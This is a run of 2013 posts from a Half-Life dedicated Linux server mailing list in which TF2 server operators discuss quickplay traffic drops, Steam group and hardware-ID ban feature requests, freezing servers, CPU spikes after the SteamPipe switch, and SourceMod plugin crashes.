However, when they were filling within minutes of being put up, I put up as 
many as I could so folks could play. 

Oh, and we don't run ads of any kind on our servers save text ones directing 
the players to our community - so there was no profit motivation whatsoever.

I still think something else may be up; if there are only ~75 valve servers it 
is indeed unlikely to be the sole cause of traffic decreases. 
Yet I also don't think it is solely people seeking ad revenue either; if that 
was the case, the bulk of those servers would have been up on day one, 
vying to be some of the first ones up and to get as much traffic as possible. 





On Thu, 10/31/13, Daniel Barreiro smelly.feet.you.h...@gmail.com wrote:

 Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update?
 To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com
 Received: Thursday, October 31, 2013, 3:23 PM
 
 http://tf2stats.net/map/plr_hightower_event
 TF2stats is reporting over 2300 servers running the map and
 about 17,500
 people playing it. That's about 7.6 players per server. If
 Valve only put
 up 76 servers, they are not the ones taking the traffic.
 It's the loads of
 community owners trying to get the traffic. Looking at the
 server list,
 there are a ton of clans that all put up 25+ servers running
 the map, all
 running ads. Even someone in this mailing thread stated that
 none of their
 18 servers were getting traffic.
 I don't want to turn this into an ad debate, but it appears
 to me that
 there are a lot of people out there just hoping to profit
 off of the
 traffic from the update.
 
 I'm also seeing a ton of 32/33 slot servers using dynamic
 slot hiding to
 get them full with quickplay and then up it to get more
 people.
 
 On Thu, Oct 31, 2013 at 1:58 PM, Bjorn Wielens uniac...@yahoo.ca
 wrote:
 
  If the existence of the valve servers is the sole cause
 of the massive
  decrease in traffic to communities... It poses a rather
 large issue for
  those communities.
  It means that the sheer number of valve's
 quickplay-eligible servers is
  outshadowing _many_ communities (as judging by the
 messages in this thread),
  and the server market is being over-saturated to the
 point where
  communities basically have a hard time getting a
 foothold unless there is
  an established playerbase
  that is large enough to sustain the server with very
 little traffic influx.
 
  Ultimately, it means communities likely won't bother
 with event servers as
  a result of no traffic anyway... and this will rebound
 very rapidly in the
  opposite direction.
  I thought the entire goal of quickplay was to help get
 traffic _to_
  communities and help players discover them (for those
 that keep their
  servers within a set of parameters)... not keep all
 the traffic for Valve
  servers.
 
  I realize this sounds pretty scathing , but it is
 something I think we (as
  community server operators) need to be seriously aware
 of - for the day
  that no more communities exist to keep the hat market
 up, will be the day
  TF2 truly dies :D
 
 
 
  
   From: Fletcher Dunn fletch...@valvesoftware.com
  To: Half-Life dedicated Linux server mailing list 
  hlds_linux@list.valvesoftware.com
  Cc: Half-Life dedicated Win32 server mailing list (
  h...@list.valvesoftware.com)
 h...@list.valvesoftware.com
  Sent: Thursday, October 31, 2013 2:30:23 PM
  Subject: Re: [hlds_linux] Is sv_tags event247 broken
 after the update?
 
 
  There were no Valve event servers running until last
 night.
 
  -Original Message-
  From: hlds_linux-boun...@list.valvesoftware.com
 [mailto:
  hlds_linux-boun...@list.valvesoftware.com]
 On Behalf Of Daniel Barreiro
  Sent: Thursday, October 31, 2013 10:13 AM
  To: Half-Life dedicated Linux server mailing list
  Subject: Re: [hlds_linux] Is sv_tags event247 broken
 after the update?
 
  Never run any bots, all of my servers were full
 yesterday and are
  completely dead last night until now.
  Only change was the update.
  One of the servers wasn't registered until this event
 (converted it from a
  custom server temporarily just to get a 24/7 helltower
 server for the
  week), so it was a brand new ID.
 
 
  On Thu, Oct 31, 2013 at 1:08 PM, Calvin Judy evo...@gmail.com
 wrote:
 
   None of my servers are running any sort of bots,
 and they all dropped
   quickplay traffic completely last night.
  
   Can you double check to verify this update didn't
 create an additional
   issue, as it sure does look like something is
 wrong.
  
   ~6000 players in 24h to 0 in 12h, doesn't really
 make any sense.
  
  
   - Original Message - From: Fletcher Dunn
 
   fletch...@valvesoftware.com
   To: Half-Life dedicated Linux server mailing
 list

Re: [hlds_linux] [Feature Request] [TF2] User-initiated join to Steam community group associated with a server.

2013-08-28 Thread Bjorn Wielens
It doesn't even have to be difficult, simply an authentication key viewable 
to group admins/owners which the server needs to know to register with the 
group.





 From: ics i...@ics-base.net
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Wednesday, August 28, 2013 11:25:44 AM
Subject: Re: [hlds_linux] [Feature Request] [TF2] User-initiated join to Steam 
community group associated with a server.
 

There is only one fault with that. That steamgroup id can be dug up by 
anyone and used on their server. Guess how many non-valve servers does 
L4D2 official group have if you are in it and start the game. 180+ last 
time i checked. There needs to be a way to add servers to steamgroup and 
then the servers have the necessary id set. It would reject all others.

This is also something that has been requested since L4D came out but no 
progress on that.

-ics

Rudy Bleeker kirjoitti:
 The sv_steamgroup convar already exists in TF2, so you can already
 associate a server with a Steam community group. All you need now is a
 way for people to easily join this group if it's a public one, for
 example when they leave the server after playing on it for a while.
 Much like how you're now asked if you want to add the server you've
 been playing on to your favorites when you leave, the TF2 client could
 pop up a second dialog when you leave a server associated with a
 public Steam group asking them would you like to join Steam community
 so and so. Hopefully with an opt-out option that can be set in the
 Advanced options.

 On Wed, Aug 28, 2013 at 8:09 AM, Weasel wea...@weaselslair.com wrote:
 I meant that there ARE servers that are doing FULLY-automated Steam Group 
 invites. The type of thing where you join the server, and then you get a 
 Steam Group invite automatically.  Not a chat-trigger ala !join or 
 something like that.

   There are also at least two commercial pieces of software out there that 
do this - which I won't link to here.

 I do the SourceMod chat-trigger-to-steam-group-URL thing myself in the MOTD 
 browser.  But, since that works in the MOTD browser it doesn't join them, 
 requires them to logon again (even though they are already logged-onto Steam 
 obviously, etc.).  I don't think Valve should MAKE it work that way either - 
 it already seems too much like a Phishing site.

 What I am suggesting is that they build into the game a way to (optionally) 
 associated a group with a server, and give the player the option to 
 initiating that - without having to look-up/find that group, etc.  That way 
 the player initiates it, AND Valve-developed code controls the whole process 
 - without 3rd-party hacks, 3rd-party web-sites, 3rd-party services, etc.  I 
 think it would be more secure that way, and also not result in extra Join 
 my group invite spam (since it's player-initiated).

 Re: [hlds_linux] [Feature Request] [TF2] User-initiated join to Steam 
 community group associated with a server.
 Erik-jan Riemers Tue, 27 Aug 2013 22:59:39 -0700

 There is nothing wrong with showing the website to steam group when you
 type !join.

 But other than that, since steam groups are not bound to servers for
 instance, the benefit for the end user has little value these days.
 (unlike in l4d2, even though everybody abuses the steam groups that nobody
 at valve ends will fix :) )

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Re: [hlds_linux] Add something to the game so that server ops can ban HWID too.

2013-08-24 Thread Bjorn Wielens
That wouldn't work. unless Valve implements a global ban system where they 
track HWIDs and such for bans (which they never will do) , the HWID would HAVE 
to be shared to be able to ban by it. You can hardly ban someone by a 
particular attribute of their account (or indeed check to see if they are 
banned by said attribute) without actually knowing the attribute in the first 
place.





 From: Scruppy Dawg sc2p...@gmail.com
To: Mart-Jan Reeuwijk mreeu...@yahoo.com; Half-Life dedicated Linux server 
mailing list hlds_linux@list.valvesoftware.com 
Sent: Saturday, August 24, 2013 3:33:28 AM
Subject: Re: [hlds_linux] Add something to the game so that server ops can ban 
HWID too.
 

Like I said, the HWID itself wouldn't be shared. When you ban a SteamID
there would be something you would add to the ban command to issue a HWID
ban on that SteamID as well.


On Sat, Aug 24, 2013 at 12:27 AM, Mart-Jan Reeuwijk mreeu...@yahoo.comwrote:

 Steamguard generates a random number for the client, which is linked to
 the machine afaik with the steam client. You cannot get that one, that
 would be bad.

 The HWID, is generated at installation of steam I think, and is probably
 passed on to Valve at logon every time. Never really looked at it. But
 sharing that has other security issues I guess.

 its a strange thing, for things conflict a lot.
 - Valve can't discuss individual accounts specifics (being a alt account
 of somebody would prolly be not good for them in legal)
 - sharing such identifying info would benefit the server owners in the
 amount of effort needed to keep their servers clean, but that would be
 defeated by some those hackers would start to do to prevent such.

 I do not think valve would want to start that arms race. I rather have
 them up the par on VAC, as far as I hear, there are now various cheats that
 aren't been vac'd by valve after x time. They do move over to new account
 for too many servers they got banned on to be able to join much.




 
  From: Eli Witt eliw...@gmail.com
 To: Half-Life dedicated Linux server mailing list 
 hlds_linux@list.valvesoftware.com
 Sent: Friday, 23 August 2013, 22:05
 Subject: Re: [hlds_linux] Add something to the game so that server ops
 can ban HWID too.
 
 
 It really depends on how the HWID is generated and if they're fuzzy or
 not.
 It could literally be as simple as a 1 digit change to a MAC address on a
 NIC that's not even active, or it could stamp every piece of hardware that
 it can pull unique information from and fuzzy the shit out of it.
 
 
 On Fri, Aug 23, 2013 at 7:56 AM, dan needa...@ntlworld.com wrote:
 
  On 23/08/2013 01:43, Scruppy Dawg wrote:
 
  Everyone knows the HWIDs are stored due to Steamguard (Or some form of
  HWID, anyway). Couldn't Valve simply add something so that server
  operators, when banning a SteamID, can also elect to ban the associated
  HWID? The HWID never needs to be exposed to the server admins.
 
 
  Is it difficult to change hwid though?
 
  I can't say I've looked at it or care about it, but if something as
 simple
  as
  changing the mac address alters it, it's not likely to improve anything.
 
  It sounds like one of these things that might work for a week or 2 and
 then
  cheaters would just figure out a way of working around it.
 
  Auto detecting cheating and kicking / banning seems the best approach.
  Doesn't SMAC and the alternatives work well enough to do that?
 
  I've got to say I don't really notice a significant problem with
 cheaters
  in TF2
  on the servers I play on.
 
  I can't imagine why someone would keep creating accounts and going back
 to
  the same server
  only to be kicked and banned immediately, unless it's reached the point
  where
  he's just doing it to wind the server owner and admins up.
 
  --
  Dan
 
 
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Re: [hlds_linux] Add something to the game so that server ops can ban HWID too.

2013-08-23 Thread Bjorn Wielens
We've had a handful of these as well. It got to a point where we issued a 'ban 
on sight' order with 'alt account of player' as an acceptable ban reason 
without significant evidence. I think at one point it was even reported to his 
ISP and he got disconnected so he had to explain to mummy and daddy why they 
were issued a cease-and-desist. That takes their steam away pretty quickly... 
in both contexts of that word.
You'd be surprised how determined some people can be (and now that tf2 is F2P 
there isn't even any money required to get a new account). 







 From: Mart-Jan Reeuwijk mreeu...@yahoo.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Friday, August 23, 2013 1:32:37 PM
Subject: Re: [hlds_linux] Add something to the game so that server ops can  
ban HWID too.
 

lol, that reminds me of a cheater years ago (~4-5 years), that always went 
cheating on a DODS server. Admins banned his account, 2 minutes later he was on 
the server again with another account. Every month he bought about 10-15 
accounts to cheat ONLY on that community's server (no bans or stats anywhere 
else for those accounts). Sometimes it where brand new accounts, other times it 
where old accounts. If IP banned, he moved proxy. Kept on for years... 
Nobody ever found out why he did so, for he must have spend quite some money to 
do this, or w/e. Admins did play a lot on it, so those accounts got banned 
fast, but it was a annoyance for them for they had the proof rule that any ban 
must be proven disregard of rules or must be hacking etc, recording demo's, 
peer review etc.  (that comm is now defunct sadly).

Shame SMAC wasn't there yet.





 From: dan needa...@ntlworld.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Friday, 23 August 2013, 13:56
Subject: Re: [hlds_linux] Add something to the game so that server ops can ban 
HWID too.
 

On 23/08/2013 01:43, Scruppy Dawg wrote:
 Everyone knows the HWIDs are stored due to Steamguard (Or some form of
 HWID, anyway). Couldn't Valve simply add something so that server
 operators, when banning a SteamID, can also elect to ban the associated
 HWID? The HWID never needs to be exposed to the server admins.

Is it difficult to change hwid though?

I can't say I've looked at it or care about it, but if something as 
simple as
changing the mac address alters it, it's not likely to improve anything.

It sounds like one of these things that might work for a week or 2 and then
cheaters would just figure out a way of working around it.

Auto detecting cheating and kicking / banning seems the best approach.
Doesn't SMAC and the alternatives work well enough to do that?

I've got to say I don't really notice a significant problem with 
cheaters in TF2
on the servers I play on.

I can't imagine why someone would keep creating accounts and going back 
to the same server
only to be kicked and banned immediately, unless it's reached the point 
where
he's just doing it to wind the server owner and admins up.

-- 
Dan

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Re: [hlds_linux] Freezing servers?

2013-06-03 Thread Bjorn Wielens
No actually, just a ridiculous amount of memory usage and no response. CPU 
usage seems normal. 





 From: D Bauhmz sc2p...@gmail.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Sunday, June 2, 2013 7:22:25 PM
Subject: Re: [hlds_linux] Freezing servers?
 

We get it as well. I assume it's the 100% CPU deal? Seems to be a feature
at this point.


On Sun, Jun 2, 2013 at 6:06 PM, 1nsane 1nsane...@gmail.com wrote:

 Yeah it does happen randomly, unfortunately :(.


 On Sun, Jun 2, 2013 at 8:29 AM, Bjorn Wielens uniac...@yahoo.ca wrote:

  Ah, so sounds like it's just a fact of life for TF2 servers and not
  something worth worrying over.
 
  Thanks for the input.
 
 
 
 
  
   From: Brainkilla brainki...@gmx.de
  To: Half-Life dedicated Linux server mailing list 
  hlds_linux@list.valvesoftware.com
  Sent: Sunday, June 2, 2013 8:32:51 AM
  Subject: Re: [hlds_linux] Freezing servers?
 
 
  Also happend to my Server - the last time ~10 Minutes ago.
 
  Am 02.06.2013 13:29, schrieb Andreas Willinger:
   Happens here too, I had one Server which even got in the state 'D',
   therefore I had to reboot my entire machine - the process was
 unkillable.
   The Server however had an uptime of over 8 Days, whereas one of my
 other
   Servers had such a freeze after only 12 hours...
  
   Weird things going on.
  
   -Ursprüngliche Nachricht-
   Von: hlds_linux-boun...@list.valvesoftware.com
   [mailto:hlds_linux-boun...@list.valvesoftware.com] Im Auftrag von
 Bjorn
   Wielens
   Gesendet: Sonntag, 02. Juni 2013 13:06
   An: Half-Life dedicated Linux server mailing list
   Betreff: [hlds_linux] Freezing servers?
  
  
   Has anyone else here encountered issues with servers that stop
  responding as
   of late?
  
   I seem to have one particular server that does it but others with
  identical
   plugins do not, and it's not a matter of use... I have other servers
 that
   have been full regularly with uptimes of over 9 days, whereas this one
  seems
   to be doing this every few days.
  
   Symptoms are no response from console, ~3GB memory usage, no response
 to
   status queries.
  
   If nobody has encountered this before I'll chalk it up to a WTF and
 just
   rebuild the server.
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[hlds_linux] Freezing servers?

2013-06-02 Thread Bjorn Wielens

Has anyone else here encountered issues with servers that stop responding as of 
late?

I seem to have one particular server that does it but others with identical 
plugins do not, and it's not a matter of use... I have other servers that have 
been full regularly with uptimes of over 9 days, whereas this one seems to be 
doing this every few days.

Symptoms are no response from console, ~3GB memory usage, no response to status 
queries.

If nobody has encountered this before I'll chalk it up to a WTF and just 
rebuild the server.
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Re: [hlds_linux] Freezing servers?

2013-06-02 Thread Bjorn Wielens
Ah, so sounds like it's just a fact of life for TF2 servers and not something 
worth worrying over.

Thanks for the input.





 From: Brainkilla brainki...@gmx.de
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Sunday, June 2, 2013 8:32:51 AM
Subject: Re: [hlds_linux] Freezing servers?
 

Also happend to my Server - the last time ~10 Minutes ago.

Am 02.06.2013 13:29, schrieb Andreas Willinger:
 Happens here too, I had one Server which even got in the state 'D',
 therefore I had to reboot my entire machine - the process was unkillable.
 The Server however had an uptime of over 8 Days, whereas one of my other
 Servers had such a freeze after only 12 hours...

 Weird things going on.

 -Ursprüngliche Nachricht-
 Von: hlds_linux-boun...@list.valvesoftware.com
 [mailto:hlds_linux-boun...@list.valvesoftware.com] Im Auftrag von Bjorn
 Wielens
 Gesendet: Sonntag, 02. Juni 2013 13:06
 An: Half-Life dedicated Linux server mailing list
 Betreff: [hlds_linux] Freezing servers?


 Has anyone else here encountered issues with servers that stop responding as
 of late?

 I seem to have one particular server that does it but others with identical
 plugins do not, and it's not a matter of use... I have other servers that
 have been full regularly with uptimes of over 9 days, whereas this one seems
 to be doing this every few days.

 Symptoms are no response from console, ~3GB memory usage, no response to
 status queries.

 If nobody has encountered this before I'll chalk it up to a WTF and just
 rebuild the server.
 ___
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 please visit:
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Re: [hlds_linux] Huge sv drops and var spikes in net_graph 4.

2013-05-06 Thread Bjorn Wielens


Thanks for investigating, Fletcher.

I can tell you that in our case, we have an 8 core system with no CPU affinity 
assigned (with 12 TF2 servers running comfortably with CPU to spare, srcds 
generally consumes 30% but can get mid 40s when full of players), Watching top, 
the load is fairly evenly distributed across the individual cores, and 
monitoring resource usage showed only one process spiking in usage at a time.


For what it's worth, I haven't had the issue recur after disabling replay on 
the servers in question. For me, that would mean the next step is to re-enable 
it and see if the problem returns - I'll post back here when I get those 
results (though it's entirely possible that the additional replay overhead is 
the metaphorical straw on the camel's back) and any additional information I 
uncover.






 From: Fletcher Dunn fletch...@valvesoftware.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Cc: Half-Life dedicated Win32 server mailing list 
(h...@list.valvesoftware.com) h...@list.valvesoftware.com 
Sent: Monday, May 6, 2013 1:41:18 PM
Subject: Re: [hlds_linux] Huge sv drops and var spikes in net_graph 4.
 

I was able to get a trace from a Windows server operator that was experiencing 
a similar problem.  The problem in that case was that it was spending all of 
its time compressing snapshots.  The problem was exacerbated by some process 
affinity settings which were counterproductive and putting all the threads on 
the same core, while other cores were idle.

Tracking the overall CPU usage can be quite deceiving when investigating lag. 
 Lower CPU usage is not necessarily better!  For example, in this case if the 
process affinity were not set and more cores were allowed to be used, then the 
CPU usage on this 4-core system would have gone above 25% for a shorter burst, 
which would have been preferable to it being pegged at 25% (a single core 
saturated for a longer period of time).

I think it is a reasonable guess that his problem is similar to the one you 
guys are seeing.  (Of course they could be totally unrelated, so take all this 
with a grain of salt.)  But assuming that they are similar problems, there are 
two things to investigate.  First, did something change that is doing something 
subtly different with process affinity that it wasn't doing before, or is the 
process affinity thing totally a config issue with one server?  (Or if anybody 
else is tweaking processor affinities, do you fully understand the implications 
of it?)  When you are looking at the CPU usage, is the process pegging a single 
CPU, or is it pegging at some round fraction like 1/4 or 1/8?  The second thing 
to investigate is, what is happening at the high level that is causing the 
snapshot data to be so big?  Do network activity spikes correlates with the CPU 
spikes?  If that is the case, then we can use -netspike  or other tools that 
you guys are
 probably more familiar with than I am to track down what the entity data is 
that is causing all the busywork.

We have very powerful performance analysis tools we can use on Windows to track 
these problems down.  I only wish more windows server operators users would get 
setup with them!  Please help us help you!  It's not that difficult to get set 
up.  Email me directly and I can get you a CD key.
https://support.steampowered.com/kb_article.php?ref=3059-RTXB-2672

-Original Message-
From: hlds_linux-boun...@list.valvesoftware.com 
[mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Essay Tew Phaun
Sent: Saturday, May 04, 2013 11:54 AM
To: Half-Life dedicated Linux server mailing list
Subject: Re: [hlds_linux] Huge sv drops and var spikes in net_graph 4.

Hmm. We didn't have this problem before Steampipe though. We just use the STV 
with a couple of slots open on it so that an admin can connect and watch for 
reported players.


On Sat, May 4, 2013 at 2:44 PM, ics i...@ics-base.net wrote:

 STV is known to cause issues and hogs a lot of memory. That's why 
 rarely no one uses it on public servers.

 -ics

 Essay Tew Phaun kirjoitti:

  Interesting. We're not hosting a replay, but we do have STV.


 On Sat, May 4, 2013 at 12:06 PM, Bjorn Wielens uniac...@yahoo.ca wrote:

  Sounds like the same problem I'm having (see last few posts in 'CPU
 Increase' thread).




 __**__
   From: Michael Johansen michs...@live.no
 To: Half-Life dedicated Linux server mailing list  
 hlds_linux@list.valvesoftware.**com 
 hlds_linux@list.valvesoftware.com
 Sent: Saturday, May 4, 2013 12:43:59 PM
 Subject: Re: [hlds_linux] Huge sv drops and var spikes in net_graph 4.


 We've noticed this as well, no complaints though as the players does 
 not seem to notice it very much.

  Date: Sat, 4 May 2013 11:40:54 -0400
 From: sc2p...@gmail.com
 To: 
 hlds_linux@list.valvesoftware.**comhlds_linux@list.valvesoftware.c
 om
 Subject: [hlds_linux] Huge sv drops

Re: [hlds_linux] Huge sv drops and var spikes in net_graph 4.

2013-05-04 Thread Bjorn Wielens
Sounds like the same problem I'm having (see last few posts in 'CPU Increase' 
thread).





 From: Michael Johansen michs...@live.no
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Saturday, May 4, 2013 12:43:59 PM
Subject: Re: [hlds_linux] Huge sv drops and var spikes in net_graph 4.
 

We've noticed this as well, no complaints though as the players does not seem 
to notice it very much.

 Date: Sat, 4 May 2013 11:40:54 -0400
 From: sc2p...@gmail.com
 To: hlds_linux@list.valvesoftware.com
 Subject: [hlds_linux] Huge sv drops and var spikes in net_graph 4.
 
 We never had this issue prior to Steampipe, but we're dealing with these
 very random and rare spikes of lag where the server framerate will suddenly
 drop from 66 to below 20 and var will spike to 20+. We're hosting 6 24 slot
 servers on the following:
 
 E3-1230v2
 16GB
 CentOS 6.4 64bit
 
 I was able to capture a screenshot of one of the drops but they're very
 hard to catch since they appear very very briefly.
 
 http://i.imgur.com/wxp8P3N.png
 
 server.cfg
 
 sv_minrate 35000
 sv_maxrate 20
 sv_maxupdaterate 67
 sv_minupdaterate 66
 sv_mincmdrate 66
 sv_maxcmdrate 67
 sv_client_cmdrate_difference 100
 
 
 Thanks
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Re: [hlds_linux] SteamPipe CPU Increase?

2013-05-03 Thread Bjorn Wielens
I too am seeing CPU usage spikes now on servers that were rock solid before 
(hovering around 25-30, spikes to 50 sometimes) (even at 32 man), are now 
hitting 100% CPU usage and the server framerate is tanking. 
This is a regular 24 man server, and nothing has changed since the steampipe 
switch. I even unloaded all sourcemod plugins just in case and the spikes 
continued.

Intel(R) Xeon(R) CPU E31240 @ 3.30GHz CentOS 6 with HPET enabled.







 From: Chris Oryschak ch...@oryschak.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Thursday, May 2, 2013 10:32:04 PM
Subject: Re: [hlds_linux] SteamPipe CPU Increase?
 

I'm running:

Ubuntu 12.04 64bit. on
Intel(R) Xeon(R) CPU E5-2690 0 @ 2.90GHz



On Thu, May 2, 2013 at 8:59 PM, Abdulrahman Abdulkawi
abdulk...@live.co.ukwrote:

 @Chris Oryschak - can you confirm your CPU model and operating system?
 I'm using Linux Debian 64bit.

  CC: hlds_linux@list.valvesoftware.com
  From: ad...@topnotchclan.com
  Date: Thu, 2 May 2013 17:48:20 -0700
  To: hlds_linux@list.valvesoftware.com
  Subject: Re: [hlds_linux] SteamPipe CPU Increase?
 
  I'm on Windows and only seeing 25 percent with 137 players on TF2. But
 I'm running powerful quads. Not dual.
 
  Sent from my iPhone 5
 
  On May 2, 2013, at 5:43 PM, Chris Oryschak ch...@oryschak.com wrote:
 
   I too have notice a significant increase in CPU usage. Can more people
   confirm?
   On May 2, 2013 8:40 PM, Abdulrahman Abdulkawi abdulk...@live.co.uk
   wrote:
  
   Is anybody running the E3 CPU range without any problems?
   I've removed /addons/ and the CPU is still high (90%+), and jumps a
 lot.
   Tried disabling replay too.
  
   Subject: Re: [hlds_linux] SteamPipe CPU Increase?
   From: abdulk...@live.co.uk
   Date: Thu, 2 May 2013 01:47:55 +0100
   To: hlds_linux@list.valvesoftware.com
  
   Im getting 90-120% on a 32/32 server, with E3-1230v2 @3.2Ghz and SSD
 hd,
   in comparison with 60-70% on hlds.
  
   No error spam on console.log.
  
   Sent from my iPhone
  
   On 2 May 2013, at 01:32, Marcos Vidal markitos.mak...@gmail.com
   wrote:
  
   El 02/05/2013 2:23, Abdulrahman Abdulkawi escribió:
   I'm not sure If I'm the only one with this problem; has anyone
   noticed CPU increases in running a server on SteamPipe, in comparison
 to
   HLDS (populated server).
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   Yes, I'm having this problem too. A server with 11 players went from
   1-3% to 7% on Intel E3-1240 v2.
  
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Re: [hlds_linux] SteamPipe CPU Increase?

2013-05-03 Thread Bjorn Wielens
Further update, is anyone else experiencing spikes running Replay? I disabled 
it and it seems to have helped to some extent as it _looks_ like the servers 
are no longer spiking into the 100% region.






 From: Bjorn Wielens uniac...@yahoo.ca
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Friday, May 3, 2013 10:52:12 PM
Subject: Re: [hlds_linux] SteamPipe CPU Increase?
 

I too am seeing CPU usage spikes now on servers that were rock solid before 
(hovering around 25-30, spikes to 50 sometimes) (even at 32 man), are now 
hitting 100% CPU usage and the server framerate is tanking. 
This is a regular 24 man server, and nothing has changed since the steampipe 
switch. I even unloaded all sourcemod plugins just in case and the spikes 
continued.

Intel(R) Xeon(R) CPU E31240 @ 3.30GHz CentOS 6 with HPET enabled.







From: Chris Oryschak ch...@oryschak.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Thursday, May 2, 2013 10:32:04 PM
Subject: Re: [hlds_linux] SteamPipe CPU Increase?


I'm running:

Ubuntu 12.04 64bit. on
Intel(R) Xeon(R) CPU E5-2690 0 @ 2.90GHz



On Thu, May 2, 2013 at 8:59 PM, Abdulrahman Abdulkawi
abdulk...@live.co.ukwrote:

 @Chris Oryschak - can you confirm your CPU model and operating system?
 I'm using Linux Debian 64bit.

  CC: hlds_linux@list.valvesoftware.com
  From: ad...@topnotchclan.com
  Date: Thu, 2 May 2013 17:48:20 -0700
  To: hlds_linux@list.valvesoftware.com
  Subject: Re: [hlds_linux] SteamPipe CPU Increase?
 
  I'm on Windows and only seeing 25 percent with 137 players on TF2. But
 I'm running powerful quads. Not dual.
 
  Sent from my iPhone 5
 
  On May 2, 2013, at 5:43 PM, Chris Oryschak ch...@oryschak.com wrote:
 
   I too have notice a significant increase in CPU usage. Can more people
   confirm?
   On May 2, 2013 8:40 PM, Abdulrahman Abdulkawi abdulk...@live.co.uk
   wrote:
  
   Is anybody running the E3 CPU range without any problems?
   I've removed /addons/ and the CPU is still high (90%+), and jumps a
 lot.
   Tried disabling replay too.
  
   Subject: Re: [hlds_linux] SteamPipe CPU Increase?
   From: abdulk...@live.co.uk
   Date: Thu, 2 May 2013 01:47:55 +0100
   To: hlds_linux@list.valvesoftware.com
  
   Im getting 90-120% on a 32/32 server, with E3-1230v2 @3.2Ghz and SSD
 hd,
   in comparison with 60-70% on hlds.
  
   No error spam on console.log.
  
   Sent from my iPhone
  
   On 2 May 2013, at 01:32, Marcos Vidal markitos.mak...@gmail.com
   wrote:
  
   El 02/05/2013 2:23, Abdulrahman Abdulkawi escribió:
   I'm not sure If I'm the only one with this problem; has anyone
   noticed CPU increases in running a server on SteamPipe, in comparison
 to
   HLDS (populated server).
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   Yes, I'm having this problem too. A server with 11 players went from
   1-3% to 7% on Intel E3-1240 v2.
  
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 archives,
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Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released

2013-04-28 Thread Bjorn Wielens
Sadly I've had no luck even using the beta gamedata and SM 1.6, still get 
crashes. 

I'll have another go at it but I don't have much hope.





 From: Dondon Tudtud don...@applei.ph
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Sunday, April 28, 2013 11:21:38 AM
Subject: Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released
 

I used the ones on this site:
https://github.com/RavuAlHemio/sourcemod-beta-gamedata and got most of the
basic plugins that I'm using to work (Spray Tracer, AFK Manager, etc.)


On Sun, Apr 28, 2013 at 4:48 PM, Peter Reinhold peter_va...@reinhold.dkwrote:

 On 26.04.2013 01:49, Bjorn Wielens wrote:

  I suspect I've found the culprits of the crashes, heads up if you are
 running afk_manager or superlogs_tf2 plugins, both of these caused
 server crashes immediately after joining a team for me. (Linux server)


 I can add spraytracer to that list as well, and even though I compiled my
 own superlogs, it still crashes upon client connection.

 Are there beta gamedata available somewhere? (I am using the latest SM 1.5
 snapshot, which I think would include those?)


 /Peter


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Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released

2013-04-25 Thread Bjorn Wielens
Unfortunately I'm now having (still sm_related) issues with a server crash 
immediately on a client joining a team, despite running the beta gamedata.
Linux server, BTW. Anyone else having this or already know of the cause/fix?




 From: Ryan Stecker voidedwea...@gmail.com
To: Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com 
Sent: Thursday, April 25, 2013 5:50:59 PM
Subject: Re: [hlds] Mandatory update to TF2 SteamPipe beta released
 


For updated gamedata that's compatible with steampipe, see: 
https://github.com/RavuAlHemio/sourcemod-beta-gamedata

It's an unofficial repo, so your mileage may vary, but I've had reports from 
multiple people that the gamedata is up to date with steampipe.
 



On Thu, Apr 25, 2013 at 3:29 PM, thesupremecommander thesupremec...@gmail.com 
wrote:

Yes, indeed, although I would point out that Valve's already told server owners 
to convert to SteamPipe in preparation for the update anyway, but that's not 
something to be argued over the mailing list.


I think there is some beta gamedata floating around somewhere that I'll try 
out to see whether the issues are fixed.



On Thu, Apr 25, 2013 at 4:20 PM, DontWannaName! ad...@topnotchclan.com wrote:

From what I understand there needs to be updated game data for steam pipe but 
they can't be synced in SM until its released. 

Sent from my iPhone 5

On Apr 25, 2013, at 1:18 PM, Bjorn Wielens uniac...@yahoo.ca wrote:


It seems that any plugins using GetPlayerEyePosition() are casing crashes. 
Spraytrace is one example. I would imagine SMAC has a component that does so 
as well. 









 From: thesupremecommander thesupremec...@gmail.com
To: Half-Life dedicated Win32 server mailing list 
h...@list.valvesoftware.com 
Sent: Wednesday, April 24, 2013 10:40:34 PM
Subject: Re: [hlds] Mandatory update to TF2 SteamPipe beta released
 


I'll try reverting, then, but I did try dropping in the latest SM 1.5 
snapshot earlier to no avail. I'll probably just stick with the core plugins 
until I can do more extensive testing.



On Wed, Apr 24, 2013 at 9:07 PM, Nicholas Hastings 
psycho...@alliedmods.net wrote:

SM does not officially 
support the beta version yet and will not until closer to its release, 
else it would be broken for the release version of the game.


-- 
Nicholas Hastings
AlliedMods.net




compose-unknown-contact.jpg
thesupremecommander
Wednesday, April 
24, 2013 9:04 PM
Is anybody 
getting constant crashing with SourceMod? I seem to be getting the 
standard segfault whenever someone joins the server and can't pin it 
onto any one plugin, although crashing consistently disappears when I 
strip down to the latest SM 1.6 and MM:S 1.10 snapshots.







-- 

thesupremecommander (Steam)
Chief Admin, SPUFserver
Chief Admin, OverPowered League

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Fletcher Dunn
Tuesday, April 
23, 2013 2:12 PM
A mandatory update to the 
TF2 SteamPipe beta has been released.  Although the update is 
mandatory (the PatchVersion has been bumped so you will need to 
upgrade your server in order to host clients running the latest 
version), your server will not automatically restart.

Team 
Fortress 2:
* Synced with release version of game

Source 
engine:
